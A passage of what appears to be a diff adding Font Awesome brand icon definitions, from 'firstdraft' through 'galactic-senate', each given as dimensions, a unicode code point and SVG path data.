467.71 377.34 467.71 256 369.34 36.29 248 36.29zm0 431.22c-116.81 0-211.51-94.69-211.51-211.51S131.19 44.49 248 44.49 459.51 139.19 459.51 256 364.81 467.51 248 467.51zm186.23-162.98a191.613 191.613 0 0 1-20.13 48.69l-74.13-35.88 61.48 54.82a193.515 193.515 0 0 1-37.2 37.29l-54.8-61.57 35.88 74.27a190.944 190.944 0 0 1-48.63 20.23l-27.29-78.47 4.79 82.93c-8.61 1.18-17.4 1.8-26.33 1.8s-17.72-.62-26.33-1.8l4.76-82.46-27.15 78.03a191.365 191.365 0 0 1-48.65-20.2l35.93-74.34-54.87 61.64a193.85 193.85 0 0 1-37.22-37.28l61.59-54.9-74.26 35.93a191.638 191.638 0 0 1-20.14-48.69l77.84-27.11-82.23 4.76c-1.16-8.57-1.78-17.32-1.78-26.21 0-9 .63-17.84 1.82-26.51l82.38 4.77-77.94-27.16a191.726 191.726 0 0 1 20.23-48.67l74.22 35.92-61.52-54.86a193.85 193.85 0 0 1 37.28-37.22l54.76 61.53-35.83-74.17a191.49 191.49 0 0 1 48.65-20.13l26.87 77.25-4.71-81.61c8.61-1.18 17.39-1.8 26.32-1.8s17.71.62 26.32 1.8l-4.74 82.16 27.05-77.76c17.27 4.5 33.6 11.35 48.63 20.17l-35.82 74.12 54.72-61.47a193.13 193.13 0 0 1 37.24 37.23l-61.45 54.77 74.12-35.86a191.515 191.515 0 0 1 20.2 48.65l-77.81 27.1 82.24-4.75c1.19 8.66 1.82 17.5 1.82 26.49 0 8.88-.61 17.63-1.78 26.19l-82.12-4.75 77.72 27.09z" ], + firstdraft: [ 384, 512, [], "f3a1", "M384 192h-64v128H192v128H0v-25.6h166.4v-128h128v-128H384V192zm-25.6 38.4v128h-128v128H64V512h192V384h128V230.4h-25.6zm25.6 192h-89.6V512H320v-64h64v-25.6zM0 0v384h128V256h128V128h128V0H0z" ], + flickr: [ 448, 512, [], "f16e", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM144.5 319c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5zm159 0c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5z" ], + flipboard: [ 448, 512, [], "f44d", "M0 32v448h448V32H0zm358.4 179.2h-89.6v89.6h-89.6v89.6H89.6V121.6h268.8v89.6z" ], + fly: [ 384, 512, [], "f417", "M197.8 427.8c12.9 11.7 33.7 33.3 33.2 50.7 0 .8-.1 1.6-.1 2.5-1.8 19.8-18.8 31.1-39.1 31-25-.1-39.9-16.8-38.7-35.8 1-16.2 20.5-36.7 32.4-47.6 2.3-2.1 2.7-2.7 5.6-3.6 3.4 0 3.9.3 6.7 2.8zM331.9 67.3c-16.3-25.7-38.6-40.6-63.3-52.1C243.1 4.5 214-.2 192 0c-44.1 0-71.2 13.2-81.1 17.3C57.3 45.2 26.5 87.2 28 158.6c7.1 82.2 97 176 155.8 233.8 1.7 1.6 4.5 4.5 6.2 5.1l3.3.1c2.1-.7 1.8-.5 3.5-2.1 52.3-49.2 140.7-145.8 155.9-215.7 7-39.2 3.1-72.5-20.8-112.5zM186.8 351.9c-28-51.1-65.2-130.7-69.3-189-3.4-47.5 11.4-131.2 69.3-136.7v325.7zM328.7 180c-16.4 56.8-77.3 128-118.9 170.3C237.6 298.4 275 217 277 158.4c1.6-45.9-9.8-105.8-48-131.4 88.8 18.3 115.5 98.1 99.7 153z" ], + "font-awesome": [ 448, 512, [], "f2b4", "M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32ZM336 312c-31.6 11.2-41.2 16-59.8 16-31.4 0-43.2-16-74.6-16a80 80 0 0 0-25.6 4V284a85.9 85.9 0 0 1 25.6-4c31.2 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v-96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.2-16-74.6-16-25.4 0-37.4 10.4-57.6 14.4V352a16 16 0 0 1-32 0V160a16 16 0 0 1 32 0v6.4c20.2-4 32.2-14.4 57.6-14.4 31.2 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16Z" ], + "font-awesome-alt": [ 448, 512, [], "f35c", "M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32Zm16 400a16 16 0 0 1-16 16H48a16 16 0 0 1-16-16V80A16 16 0 0 1 48 64H400a16 16 0 0 1 16 16ZM201.6 152c-25.4 0-37.4 10.4-57.6 14.4V160a16 16 0 0 0-32 0V352a16 16 0 0 0 32 0V198.4c20.2-4 32.2-14.4 57.6-14.4 31.4 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.4-16-74.6-16a85.9 85.9 0 0 0-25.6 4v32a80 80 0 0 1 25.6-4c31.4 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16V152c-31.6 11.2-41.2 16-59.8 16C244.8 168 232.8 152 201.6 152Z" ], + "font-awesome-flag": [ 448, 512, [], "f425", "M448 48V384c-63 23-82 32-119 32-63 0-87-32-150-32-20 0-36 4-51 8V328c15-4 31-8 51-8 63 0 87 32 150 32 20 0 35-3 55-9V135c-20 6-35 9-55 9-63 0-87-32-150-32-51 0-75 21-115 29V448a31.6 31.6 0 0 1-32 32A31.6 31.6 0 0 1 0 448V64A31.6 31.6 0 0 1 32 32 31.6 31.6 0 0 1 64 64V77c40-8 64-29 115-29 63 0 87 32 150 32C366 80 385 71 448 48Z" ], + "font-awesome-logo-full": [ 3992, 512, [ "Font Awesome" ], "f4e6", "M1209.7 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C1311.7 200.4 1267.5 156.5 1209.7 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C1261.1 281.8 1244.8 309.2 1209.7 309.2Zm962.1-136.1c-4.4-10.9-12.3-16.5-23.5-16.5s-19.1 5.6-23.5 16.5l-59.4 145.8c-7.2 17.7 2.8 27.4 4.4 29a24.6 24.6 0 0 0 17.5 6.8c10.8 0 18.7-6 23.1-18.1l4-10.1h67.7l4 10.1c4.8 12.1 12.3 18.1 23.1 18.1a24.6 24.6 0 0 0 17.5-6.8c10-10.1 6.8-22.6 4.4-29Zm-43 113.6 19.1-56 19.1 56Zm-574.5-130.1c-14.3 0-24.7 10.9-24.7 25.4v76.5l-68.5-85.8c-4.4-5.6-11.6-16.1-25.5-16.1-19.1 0-24.3 17.7-24.3 25.4V329.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V252.8l68.9 86.2c4.8 5.6 11.6 16.1 25.5 16.1 19.1 0 23.9-17.3 23.9-25.4V181.9C1579 167.4 1568.6 156.5 1554.3 156.5Zm-554.1 1.6H916.5c-19.9 0-25.1 17.3-25.1 25.4V328.1c0 19.7 16.7 25.4 24.7 25.4 8 0 24.7-5.2 24.7-25.4V285h44.6c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.1-22.7-22.1H940.8V203.6h59.4c12.8 0 22.7-9.3 22.7-22.6C1022.9 163 1007.3 158.1 1000.2 158.1Zm815.1 0H1691.7c-7.2 0-22.7 4.4-22.7 22.2 0 13.3 10 22.6 22.7 22.6h37V327.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V202.8h37c12.7 0 22.7-9.3 22.7-22.6C1837.9 163 1822.4 158.1 1815.2 158.1Zm1789.5-1.6c-9.6 0-17.5 6-25.1 18.1l-46.6 76.1L3486.4 174.6q-10.8-18.1-25.1-18.1c-19.5 0-24.7 18.1-24.7 25.8V329.7c0 14.1 10.4 25.4 24.7 25.4s24.7-10.9 24.7-25.4V262.8L3510.7 302.7c6.4 10.1 13.9 15.3 22.3 15.3 8.8 0 15.9-5.2 22.3-15.3l24.7-39.9v66.9c0 14.1 10.3 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V182.3C3629.4 174.2 3624.6 156.5 3604.7 156.5Zm248.6 149.8h-65.7V272.9h39.4c11.9 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.6-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.8 0 22.7-9.3 22.7-22.6C3876 311.2 3860.5 306.3 3853.3 306.3ZM3235 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C3337 200.4 3292.8 156.5 3235 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C3286.8 281.8 3270.1 309.2 3235 309.2ZM2550.2 156.5c-11.2 0-19.1 5.6-23.1 16.5l-34.3 94.7-31.5-92.2c-4.4-12.5-12.3-18.9-24.3-18.9-11.9 0-19.9 6.4-24.3 18.9l-31.5 92.2-34.3-95.5q-5.4-15.7-22.7-15.7c-6.8 0-12.3 2.4-17.5 7.3-5.2 5.2-10.8 14.5-4.8 28.6l55.8 145.8c4 11.3 11.6 16.9 23.1 16.9q16.7 0 22.7-16.9l33.5-91.8 33.5 91.8q6 16.9 22.7 16.9c11.2 0 19.1-5.6 23.1-16.9l55.8-145.8c3.6-9.3 4.4-19.3-4.8-28.6A23 23 0 0 0 2550.2 156.5Zm444.2 81-21.9-9.3c-11.9-4.8-16.3-8.5-16.3-15.7q0-12.1 16.7-12.1c12.7 0 19.5 7.7 24.3 10.9 7.2 5.2 18.3 6.8 27.9-2 10.8-10.5 6.8-23.8 1.2-30.6-12.3-14.9-30.3-22.2-53.8-22.2-19.1 0-35.1 5.2-47.4 15.7-12.3 10.5-18.7 24.2-18.7 41.1 0 24.2 15.9 43.5 47.8 57.6l19.5 8.9c15.9 6.8 19.1 9.7 19.1 17.7 0 9.3-6.4 14.1-19.5 14.1-19.1 0-34.7-14.9-36.3-16.1-10.8-7.3-21.5-2-26.3 2.8-6.8 6.4-12.7 20.9 3.2 36.2 6.8 6.4 15.5 11.7 26.7 15.3a94.6 94.6 0 0 0 32.7 5.6c19.9 0 36.7-5.2 49.8-16.1 13.1-10.9 19.5-25.4 19.5-43.5q0-20.5-12-33.8C3022.7 253.2 3010.7 244.3 2994.4 237.5Zm-206.4 68.9h-65.7V272.9h39.4c12 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.7 0 22.7-9.3 22.7-22.6C2810.8 311.2 2795.2 306.3 2788 306.3ZM178.3 49.1c-50.5 0-74.4 20.7-114.6 28.7V65A31.8 31.8 0 1 0 0 65V447a31.8 31.8 0 0 0 63.7 0V141.4c40.2-8 64.1-28.7 114.6-28.7 62.5 0 86 31.8 148.4 31.8 20.3 0 35.4-2.8 55.3-9.2v191c-19.9 6.4-35 9.2-55.3 9.2-62.5 0-86.4-31.8-148.4-31.8-20.3 0-36.2 3.6-50.9 8V375.4a159.1 159.1 0 0 1 50.9-8c62.5 0 86 31.8 148.4 31.8 37 0 56.1-9.6 119-31.8V49.1C382.8 71.4 363.7 80.9 326.7 80.9 264.2 80.9 240.4 49.1 178.3 49.1Z" ], + fonticons: [ 448, 512, [], "f280", "M0 32v448h448V32zm187 140.9c-18.4 0-19 9.9-19 27.4v23.3c0 2.4-3.5 4.4-.6 4.4h67.4l-11.1 37.3H168v112.9c0 5.8-2 6.7 3.2 7.3l43.5 4.1v25.1H84V389l21.3-2c5.2-.6 6.7-2.3 6.7-7.9V267.7c0-2.3-2.9-2.3-5.8-2.3H84V228h28v-21c0-49.6 26.5-70 77.3-70 34.1 0 64.7 8.2 64.7 52.8l-50.7 6.1c.3-18.7-4.4-23-16.3-23zm74.3 241.8v-25.1l20.4-2.6c5.2-.6 7.6-1.7 7.6-7.3V271.8c0-4.1-2.9-6.7-6.7-7.9l-24.2-6.4 6.7-29.5h80.2v151.7c0 5.8-2.6 6.4 2.9 7.3l15.7 2.6v25.1zm80.8-255.5l9 33.2-7.3 7.3-31.2-16.6-31.2 16.6-7.3-7.3 9-33.2-21.8-24.2 3.5-9.6h27.7l15.5-28h9.3l15.5 28h27.7l3.5 9.6z" ], + "fonticons-fi": [ 384, 512, [], "f3a2", "M114.4 224h92.4l-15.2 51.2h-76.4V433c0 8-2.8 9.2 4.4 10l59.6 5.6V483H0v-35.2l29.2-2.8c7.2-.8 9.2-3.2 9.2-10.8V278.4c0-3.2-4-3.2-8-3.2H0V224h38.4v-28.8c0-68 36.4-96 106-96 46.8 0 88.8 11.2 88.8 72.4l-69.6 8.4c.4-25.6-6-31.6-22.4-31.6-25.2 0-26 13.6-26 37.6v32c0 3.2-4.8 6-.8 6zM384 483H243.2v-34.4l28-3.6c7.2-.8 10.4-2.4 10.4-10V287c0-5.6-4-9.2-9.2-10.8l-33.2-8.8 9.2-40.4h110v208c0 8-3.6 8.8 4 10l21.6 3.6V483zm-30-347.2l12.4 45.6-10 10-42.8-22.8-42.8 22.8-10-10 12.4-45.6-30-36.4 4.8-10h38L307.2 51H320l21.2 38.4h38l4.8 13.2-30 33.2z" ], + "fort-awesome": [ 512, 512, [], "f286", "M489.2 287.9h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6V146.2c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-6-8-4.6-11.7-4.6v-38c8.3-2 17.1-3.4 25.7-3.4 10.9 0 20.9 4.3 31.4 4.3 4.6 0 27.7-1.1 27.7-8v-60c0-2.6-2-4.6-4.6-4.6-5.1 0-15.1 4.3-24 4.3-9.7 0-20.9-4.3-32.6-4.3-8 0-16 1.1-23.7 2.9v-4.9c5.4-2.6 9.1-8.3 9.1-14.3 0-20.7-31.4-20.8-31.4 0 0 6 3.7 11.7 9.1 14.3v111.7c-3.7 0-11.7-1.4-11.7 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32H128v-32c0-2.6-2-4.6-4.6-4.6H96c-2.6 0-4.6 2-4.6 4.6v178.3H54.8v-32c0-2.6-2-4.6-4.6-4.6H22.8c-2.6 0-4.6 2-4.6 4.6V512h182.9v-96c0-72.6 109.7-72.6 109.7 0v96h182.9V292.5c.1-2.6-1.9-4.6-4.5-4.6zm-288.1-4.5c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64zm146.4 0c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64z" ], + "fort-awesome-alt": [ 512, 512, [], "f3a3", "M208 237.4h-22.2c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7H208c2.1 0 3.7-1.6 3.7-3.7v-51.7c0-2.1-1.6-3.7-3.7-3.7zm118.2 0H304c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7h22.2c2.1 0 3.7-1.6 3.7-3.7v-51.7c-.1-2.1-1.7-3.7-3.7-3.7zm132-125.1c-2.3-3.2-4.6-6.4-7.1-9.5-9.8-12.5-20.8-24-32.8-34.4-4.5-3.9-9.1-7.6-13.9-11.2-1.6-1.2-3.2-2.3-4.8-3.5C372 34.1 340.3 20 306 13c-16.2-3.3-32.9-5-50-5s-33.9 1.7-50 5c-34.3 7.1-66 21.2-93.3 40.8-1.6 1.1-3.2 2.3-4.8 3.5-4.8 3.6-9.4 7.3-13.9 11.2-3 2.6-5.9 5.3-8.8 8s-5.7 5.5-8.4 8.4c-5.5 5.7-10.7 11.8-15.6 18-2.4 3.1-4.8 6.3-7.1 9.5C25.2 153 8.3 202.5 8.3 256c0 2 .1 4 .1 6 .1.7.1 1.3.1 2 .1 1.3.1 2.7.2 4 0 .8.1 1.5.1 2.3 0 1.3.1 2.5.2 3.7.1.8.1 1.6.2 2.4.1 1.1.2 2.3.3 3.5 0 .8.1 1.6.2 2.4.1 1.2.3 2.4.4 3.6.1.8.2 1.5.3 2.3.1 1.3.3 2.6.5 3.9.1.6.2 1.3.3 1.9l.9 5.7c.1.6.2 1.1.3 1.7.3 1.3.5 2.7.8 4 .2.8.3 1.6.5 2.4.2 1 .5 2.1.7 3.2.2.9.4 1.7.6 2.6.2 1 .4 2 .7 3 .2.9.5 1.8.7 2.7.3 1 .5 1.9.8 2.9.3.9.5 1.8.8 2.7.2.9.5 1.9.8 2.8s.5 1.8.8 2.7c.3 1 .6 1.9.9 2.8.6 1.6 1.1 3.3 1.7 4.9.4 1 .7 1.9 1 2.8.3 1 .7 2 1.1 3 .3.8.6 1.5.9 2.3l1.2 3c.3.7.6 1.5.9 2.2.4 1 .9 2 1.3 3l.9 2.1c.5 1 .9 2 1.4 3 .3.7.6 1.3.9 2 .5 1 1 2.1 1.5 3.1.2.6.5 1.1.8 1.7.6 1.1 1.1 2.2 1.7 3.3.1.2.2.3.3.5 2.2 4.1 4.4 8.2 6.8 12.2.2.4.5.8.7 1.2.7 1.1 1.3 2.2 2 3.3.3.5.6.9.9 1.4.6 1.1 1.3 2.1 2 3.2.3.5.6.9.9 1.4.7 1.1 1.4 2.1 2.1 3.2.2.4.5.8.8 1.2.7 1.1 1.5 2.2 2.3 3.3.2.2.3.5.5.7 37.5 51.7 94.4 88.5 160 99.4.9.1 1.7.3 2.6.4 1 .2 2.1.4 3.1.5s1.9.3 2.8.4c1 .2 2 .3 3 .4.9.1 1.9.2 2.9.3s1.9.2 2.9.3 2.1.2 3.1.3c.9.1 1.8.1 2.7.2 1.1.1 2.3.1 3.4.2.8 0 1.7.1 2.5.1 1.3 0 2.6.1 3.9.1.7.1 1.4.1 2.1.1 2 .1 4 .1 6 .1s4-.1 6-.1c.7 0 1.4-.1 2.1-.1 1.3 0 2.6 0 3.9-.1.8 0 1.7-.1 2.5-.1 1.1-.1 2.3-.1 3.4-.2.9 0 1.8-.1 2.7-.2 1-.1 2.1-.2 3.1-.3s1.9-.2 2.9-.3c.9-.1 1.9-.2 2.9-.3s2-.3 3-.4 1.9-.3 2.8-.4c1-.2 2.1-.3 3.1-.5.9-.1 1.7-.3 2.6-.4 65.6-11 122.5-47.7 160.1-102.4.2-.2.3-.5.5-.7.8-1.1 1.5-2.2 2.3-3.3.2-.4.5-.8.8-1.2.7-1.1 1.4-2.1 2.1-3.2.3-.5.6-.9.9-1.4.6-1.1 1.3-2.1 2-3.2.3-.5.6-.9.9-1.4.7-1.1 1.3-2.2 2-3.3.2-.4.5-.8.7-1.2 2.4-4 4.6-8.1 6.8-12.2.1-.2.2-.3.3-.5.6-1.1 1.1-2.2 1.7-3.3.2-.6.5-1.1.8-1.7.5-1 1-2.1 1.5-3.1.3-.7.6-1.3.9-2 .5-1 1-2 1.4-3l.9-2.1c.5-1 .9-2 1.3-3 .3-.7.6-1.5.9-2.2l1.2-3c.3-.8.6-1.5.9-2.3.4-1 .7-2 1.1-3s.7-1.9 1-2.8c.6-1.6 1.2-3.3 1.7-4.9.3-1 .6-1.9.9-2.8s.5-1.8.8-2.7c.2-.9.5-1.9.8-2.8s.6-1.8.8-2.7c.3-1 .5-1.9.8-2.9.2-.9.5-1.8.7-2.7.2-1 .5-2 .7-3 .2-.9.4-1.7.6-2.6.2-1 .5-2.1.7-3.2.2-.8.3-1.6.5-2.4.3-1.3.6-2.7.8-4 .1-.6.2-1.1.3-1.7l.9-5.7c.1-.6.2-1.3.3-1.9.1-1.3.3-2.6.5-3.9.1-.8.2-1.5.3-2.3.1-1.2.3-2.4.4-3.6 0-.8.1-1.6.2-2.4.1-1.1.2-2.3.3-3.5.1-.8.1-1.6.2-2.4.1 1.7.1.5.2-.7 0-.8.1-1.5.1-2.3.1-1.3.2-2.7.2-4 .1-.7.1-1.3.1-2 .1-2 .1-4 .1-6 0-53.5-16.9-103-45.8-143.7zM448 371.5c-9.4 15.5-20.6 29.9-33.6 42.9-20.6 20.6-44.5 36.7-71.2 48-13.9 5.8-28.2 10.3-42.9 13.2v-75.8c0-58.6-88.6-58.6-88.6 0v75.8c-14.7-2.9-29-7.3-42.9-13.2-26.7-11.3-50.6-27.4-71.2-48-13-13-24.2-27.4-33.6-42.9v-71.3c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7H208c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-2-7.4-6.7-7.4-11.5 0-16.8 25.4-16.8 25.4 0 0 4.8-3 9.4-7.4 11.5V92c6.3-1.4 12.7-2.3 19.2-2.3 9.4 0 18.4 3.5 26.3 3.5 7.2 0 15.2-3.5 19.4-3.5 2.1 0 3.7 1.6 3.7 3.7v48.4c0 5.6-18.7 6.5-22.4 6.5-8.6 0-16.6-3.5-25.4-3.5-7 0-14.1 1.2-20.8 2.8v30.7c3 0 9.5-1.1 9.5 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v144h29.5v-25.8c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7z" ], + forumbee: [ 448, 512, [], "f211", "M5.8 309.7C2 292.7 0 275.5 0 258.3 0 135 99.8 35 223.1 35c16.6 0 33.3 2 49.3 5.5C149 87.5 51.9 186 5.8 309.7zm392.9-189.2C385 103 369 87.8 350.9 75.2c-149.6 44.3-266.3 162.1-309.7 312 12.5 18.1 28 35.6 45.2 49 43.1-151.3 161.2-271.7 312.3-315.7zm15.8 252.7c15.2-25.1 25.4-53.7 29.5-82.8-79.4 42.9-145 110.6-187.6 190.3 30-4.4 58.9-15.3 84.6-31.3 35 13.1 70.9 24.3 107 33.6-9.3-36.5-20.4-74.5-33.5-109.8zm29.7-145.5c-2.6-19.5-7.9-38.7-15.8-56.8C290.5 216.7 182 327.5 137.1 466c18.1 7.6 37 12.5 56.6 15.2C240 367.1 330.5 274.4 444.2 227.7z" ], + foursquare: [ 368, 512, [], "f180", "M323.1 3H49.9C12.4 3 0 31.3 0 49.1v433.8c0 20.3 12.1 27.7 18.2 30.1 6.2 2.5 22.8 4.6 32.9-7.1C180 356.5 182.2 354 182.2 354c3.1-3.4 3.4-3.1 6.8-3.1h83.4c35.1 0 40.6-25.2 44.3-39.7l48.6-243C373.8 25.8 363.1 3 323.1 3zm-16.3 73.8l-11.4 59.7c-1.2 6.5-9.5 13.2-16.9 13.2H172.1c-12 0-20.6 8.3-20.6 20.3v13c0 12 8.6 20.6 20.6 20.6h90.4c8.3 0 16.6 9.2 14.8 18.2-1.8 8.9-10.5 53.8-11.4 58.8-.9 4.9-6.8 13.5-16.9 13.5h-73.5c-13.5 0-17.2 1.8-26.5 12.6 0 0-8.9 11.4-89.5 108.3-.9.9-1.8.6-1.8-.3V75.9c0-7.7 6.8-16.6 16.6-16.6h219c8.2 0 15.6 7.7 13.5 17.5z" ], + "free-code-camp": [ 576, 512, [], "f2c5", "M97.22,96.21c10.36-10.65,16-17.12,16-21.9,0-2.76-1.92-5.51-3.83-7.42A14.81,14.81,0,0,0,101,64.05c-8.48,0-20.92,8.79-35.84,25.69C23.68,137,2.51,182.81,3.37,250.34s17.47,117,54.06,161.87C76.22,435.86,90.62,448,100.9,448a13.55,13.55,0,0,0,8.37-3.84c1.91-2.76,3.81-5.63,3.81-8.38,0-5.63-3.86-12.2-13.2-20.55-44.45-42.33-67.32-97-67.48-165C32.25,188.8,54,137.83,97.22,96.21ZM239.47,420.07c.58.37.91.55.91.55Zm93.79.55.17-.13C333.24,420.62,333.17,420.67,333.26,420.62Zm3.13-158.18c-16.24-4.15,50.41-82.89-68.05-177.17,0,0,15.54,49.38-62.83,159.57-74.27,104.35,23.46,168.73,34,175.23-6.73-4.35-47.4-35.7,9.55-128.64,11-18.3,25.53-34.87,43.5-72.16,0,0,15.91,22.45,7.6,71.13C287.7,364,354,342.91,355,343.94c22.75,26.78-17.72,73.51-21.58,76.55,5.49-3.65,117.71-78,33-188.1C360.43,238.4,352.62,266.59,336.39,262.44ZM510.88,89.69C496,72.79,483.52,64,475,64a14.81,14.81,0,0,0-8.39,2.84c-1.91,1.91-3.83,4.66-3.83,7.42,0,4.78,5.6,11.26,16,21.9,43.23,41.61,65,92.59,64.82,154.06-.16,68-23,122.63-67.48,165-9.34,8.35-13.18,14.92-13.2,20.55,0,2.75,1.9,5.62,3.81,8.38A13.61,13.61,0,0,0,475.1,448c10.28,0,24.68-12.13,43.47-35.79,36.59-44.85,53.14-94.38,54.06-161.87S552.32,137,510.88,89.69Z" ], + freebsd: [ 448, 512, [], "f3a4", "M303.7 96.2c11.1-11.1 115.5-77 139.2-53.2 23.7 23.7-42.1 128.1-53.2 139.2-11.1 11.1-39.4.9-63.1-22.9-23.8-23.7-34.1-52-22.9-63.1zM109.9 68.1C73.6 47.5 22 24.6 5.6 41.1c-16.6 16.6 7.1 69.4 27.9 105.7 18.5-32.2 44.8-59.3 76.4-78.7zM406.7 174c3.3 11.3 2.7 20.7-2.7 26.1-20.3 20.3-87.5-27-109.3-70.1-18-32.3-11.1-53.4 14.9-48.7 5.7-3.6 12.3-7.6 19.6-11.6-29.8-15.5-63.6-24.3-99.5-24.3-119.1 0-215.6 96.5-215.6 215.6 0 119 96.5 215.6 215.6 215.6S445.3 380.1 445.3 261c0-38.4-10.1-74.5-27.7-105.8-3.9 7-7.6 13.3-10.9 18.8z" ], + fulcrum: [ 320, 512, [], "f50b", "M95.75 164.14l-35.38 43.55L25 164.14l35.38-43.55zM144.23 0l-20.54 198.18L72.72 256l51 57.82L144.23 512V300.89L103.15 256l41.08-44.89zm79.67 164.14l35.38 43.55 35.38-43.55-35.38-43.55zm-48.48 47L216.5 256l-41.08 44.89V512L196 313.82 247 256l-51-57.82L175.42 0z" ], + "galactic-republic": [ 496, 512, [], "f50c", "M248 504C111.25 504 0 392.75 0 256S111.25 8 248 8s248 111.25 248 248-111.25 248-248 248zm0-479.47C120.37 24.53 16.53 128.37 16.53 256S120.37 487.47 248 487.47 479.47 383.63 479.47 256 375.63 24.53 248 24.53zm27.62 21.81v24.62a185.933 185.933 0 0 1 83.57 34.54l17.39-17.36c-28.75-22.06-63.3-36.89-100.96-41.8zm-55.37.07c-37.64 4.94-72.16 19.8-100.88 41.85l17.28 17.36h.08c24.07-17.84 52.55-30.06 83.52-34.67V46.41zm12.25 50.17v82.87c-10.04 2.03-19.42 5.94-27.67 11.42l-58.62-58.59-21.93 21.93 58.67 58.67c-5.47 8.23-9.45 17.59-11.47 27.62h-82.9v31h82.9c2.02 10.02 6.01 19.31 11.47 27.54l-58.67 58.69 21.93 21.93 58.62-58.62a77.873 77.873 0 0 0 27.67 11.47v82.9h31v-82.9c10.05-2.03 19.37-6.06 27.62-11.55l58.67 58.69 21.93-21.93-58.67-58.69c5.46-8.23 9.47-17.52 11.5-27.54h82.87v-31h-82.87c-2.02-10.02-6.03-19.38-11.5-27.62l58.67-58.67-21.93-21.93-58.67 58.67c-8.25-5.49-17.57-9.47-27.62-11.5V96.58h-31zm183.24 30.72l-17.36 17.36a186.337 186.337 0 0 1 34.67 83.67h24.62c-4.95-37.69-19.83-72.29-41.93-101.03zm-335.55.13c-22.06 28.72-36.91 63.26-41.85 100.91h24.65c4.6-30.96 16.76-59.45 34.59-83.52l-17.39-17.39zM38.34 283.67c4.92 37.64 19.75 72.18 41.8 100.9l17.36-17.39c-17.81-24.07-29.92-52.57-34.51-83.52H38.34zm394.7 0c-4.61 30.99-16.8 59.5-34.67 83.6l17.36 17.36c22.08-28.74 36.98-63.29 41.93-100.96h-24.62zM136.66 406.38l-17.36 17.36c28.73 22.09 63.3 36.98 100.96 41.93v-24.64c-30.99-4.63-59.53-16.79-83.6-34.65zm222.53.05c-24.09 17.84-52.58 30.08-83.57 34.67v24.57c37.67-4.92 72.21-19.79 100.96-41.85l-17.31-17.39h-.08z" ], + "galactic-senate": [ 512, 512, [], "f50d", "M249.86 33.48v26.07C236.28 80.17 226 168.14 225.39 274.9c11.74-15.62 19.13-33.33 19.13-48.24v-16.88c-.03-5.32.75-10.53 2.19-15.65.65-2.14 1.39-4.08 2.62-5.82 1.23-1.75 3.43-3.79 6.68-3.79 3.24 0 5.45 2.05 6.68 3.79 1.23 1.75 1.97 3.68 2.62 5.82 1.44 5.12 2.22 10.33 2.19 15.65v16.88c0 14.91 7.39 32.62 